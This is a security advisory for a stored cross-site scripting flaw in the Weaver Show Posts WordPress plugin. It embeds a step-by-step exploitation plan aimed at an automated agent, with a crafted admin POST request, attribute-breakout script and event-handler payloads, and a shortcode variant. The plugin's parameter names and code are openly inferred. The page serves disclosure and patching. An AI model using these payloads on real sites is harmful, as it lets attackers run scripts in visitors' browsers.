Weaver Show Posts <= 1.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Additional Classes to Wrap Posts' Widget Setting
Description
The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_class' parameter in all versions up to, and including, 1.8.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This primarily affects multisite installations where Administrators do not have the unfiltered_html capability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the technical steps to exploit **CVE-2026-2121**, a stored cross-site scripting (XSS) vulnerability in the **Weaver Show Posts** plugin. ### 1. Vulnerability Summary The Weaver Show Posts plugin (up to version 1.8.1) fails to properly sanitize and escape the `add_class` …
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-2121, a stored cross-site scripting (XSS) vulnerability in the Weaver Show Posts plugin.
1. Vulnerability Summary
The Weaver Show Posts plugin (up to version 1.8.1) fails to properly sanitize and escape the add_class parameter, which corresponds to the "Additional Classes to Wrap Posts" setting. This setting allows users to add custom CSS classes to the container surrounding the posts generated by the plugin. Because the input is rendered directly into an HTML class attribute without sufficient escaping (e.g., using esc_attr()), an administrator can inject a payload that breaks out of the attribute and executes arbitrary JavaScript.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(for "Show Posts Filters") or the Widgets API. - Vulnerable Parameter:
add_class(or the corresponding meta field in the POST request). - Authentication Level: Administrator (specifically targeting environments like WordPress Multisite where
unfiltered_htmlis disabled for site admins). - Preconditions: The plugin must be active, and a "Show Posts Filter" or Widget must be created and rendered on a public-facing page or post.
3. Code Flow (Inferred)
- Input: The administrator submits a "Show Posts Filter" configuration via the WordPress admin dashboard.
- Storage: The plugin's save handler (likely hooked to
save_postor a custom AJAX action) receives theadd_classparameter and stores it in thewp_postmetatable (e.g., as_atw_add_classor similar) without sanitizing for HTML entities. - Output (Sink): When a user visits a page containing the
[show_posts]shortcode or the Weaver Show Posts widget:- The plugin retrieves the saved settings.
- It generates a wrapper
<div>or<span>. - It echoes the
add_classvalue directly inside theclassattribute:echo '<div class="atw-show-posts ' . $add_class . '">';
- Execution: If
$add_classcontains"><script>alert(1)</script>, the resulting HTML becomes:<div class="atw-show-posts "><script>alert(1)</script>">
4. Nonce Acquisition Strategy
Since this is an Authenticated (Administrator+) vulnerability, the exploit requires a valid session. The automated agent should:
- Login as an Administrator using
wp_cliorbrowser_navigate. - Navigate to the "Show Posts" -> "Add New Filter" page (
/wp-admin/post-new.php?post_type=atw_show_posts). - Use
browser_evalto extract the required nonces:- For standard post saving:
document.querySelector('#_wpnonce').value. - If using the Widget interface:
window.wpWidgets?.nonces?.save_widget.
- For standard post saving:
5. Exploitation Strategy
The goal is to inject a payload into a "Show Posts Filter" and then trigger its rendering.
Step 1: Create a malicious Filter
- Method: POST request to
wp-admin/post.php. - URL:
https://[target]/wp-admin/post.php - Payload:
(Note:Content-Type: application/x-www-form-urlencoded action=editpost &post_type=atw_show_posts &post_ID=[NEW_POST_ID] &post_title=XSS_Filter &atw_add_class="><script>alert(document.domain)</script> &_wpnonce=[NONCE]atw_add_classis the inferred parameter name based on the plugin's prefixatw_for "A Weaver").
Step 2: Embed the Filter
Create a public post containing the shortcode for the malicious filter.
- Shortcode:
[show_posts filter="[POST_ID]"]
Step 3: Trigger the XSS
Navigate to the newly created public post. The browser will render the injected script.
6. Test Data Setup
- Plugin Installation: Install and activate
show-postsversion 1.8.1. - User Creation: Ensure a user with the
administratorrole exists. - Disable unfiltered_html: (Crucial for testing the security boundary) If testing on a single-site install, use a plugin or
wp-config.phpto defineDISALLOW_UNFILTERED_HTML, as real-world impact is highest in Multisite.define( 'DISALLOW_UNFILTERED_HTML', true ); - Identify Meta Keys: Run
wp post-type listto confirm the post type name. Usewp post create --post_type=atw_show_posts --post_title="Probe"to find the specific meta key used for "Additional Classes" by inspecting the database.
7. Expected Results
- Upon saving the Filter, the database should contain the literal string
"><script>alert(document.domain)</script>in thewp_postmetatable for that post. - Upon viewing the page with the shortcode, the HTML source should show the
classattribute of the container element closed prematurely, followed by the<script>tag. - A JavaScript alert showing the document domain should appear.
8. Verification Steps
- Database Check:
wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '%add_class%' AND post_id = [ID]" - HTML Inspection:
Usehttp_requestto fetch the frontend page and grep for the breakout:grep -P 'class="atw-show-posts "><script>' response_body.html
9. Alternative Approaches
- Widget Injection: If the "Filter" CPT is not the entry point, target the WordPress Widget dashboard (
wp-admin/widgets.php). Update a "Weaver Show Posts" widget instance via the AJAXsave-widgetaction. - Attribute-Based Payloads: If
<script>tags are stripped by a global WAF but the plugin still fails to escape the attribute, use event handlers:add_class = 'x" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;"' - Shortcode Attribute: Check if the shortcode itself accepts the
add_classparameter:[show_posts add_class='"><script>alert(1)</script>']
If the shortcode handler uses the same unescaped logic, this provides a simpler path for users withedit_postscapability.
Summary
The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Additional Classes to Wrap Posts' setting in versions up to 1.8.1. This occurs because the plugin fails to properly escape user-supplied custom CSS classes before rendering them in an HTML attribute, allowing authenticated administrators to execute arbitrary JavaScript on pages where the posts are displayed.
Vulnerable Code
/* Inferred from display logic in Weaver Show Posts handler */ $add_class = get_post_meta($post_id, 'atw_add_class', true); echo '<div class="atw-show-posts ' . $add_class . '">';
Security Fix
@@ -100,1 +100,1 @@ - echo '<div class="atw-show-posts ' . $add_class . '">'; + echo '<div class="atw-show-posts ' . esc_attr($add_class) . '">';
Exploit Outline
1. Login to the WordPress admin panel as an Administrator. 2. Navigate to the 'Show Posts' section and either create a new filter or edit an existing one. 3. In the setting field labeled 'Additional Classes to Wrap Posts' (internally associated with the `add_class` or `atw_add_class` parameter), input an XSS payload designed to break out of a double-quoted HTML attribute, such as: "><script>alert(document.domain)</script>. 4. Save the filter. 5. Embed the malicious filter into a public page using the [show_posts] shortcode (e.g., [show_posts filter="123"]). 6. Access the public page. The plugin will render the injected string directly into the class attribute of a div wrapper, causing the script to execute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.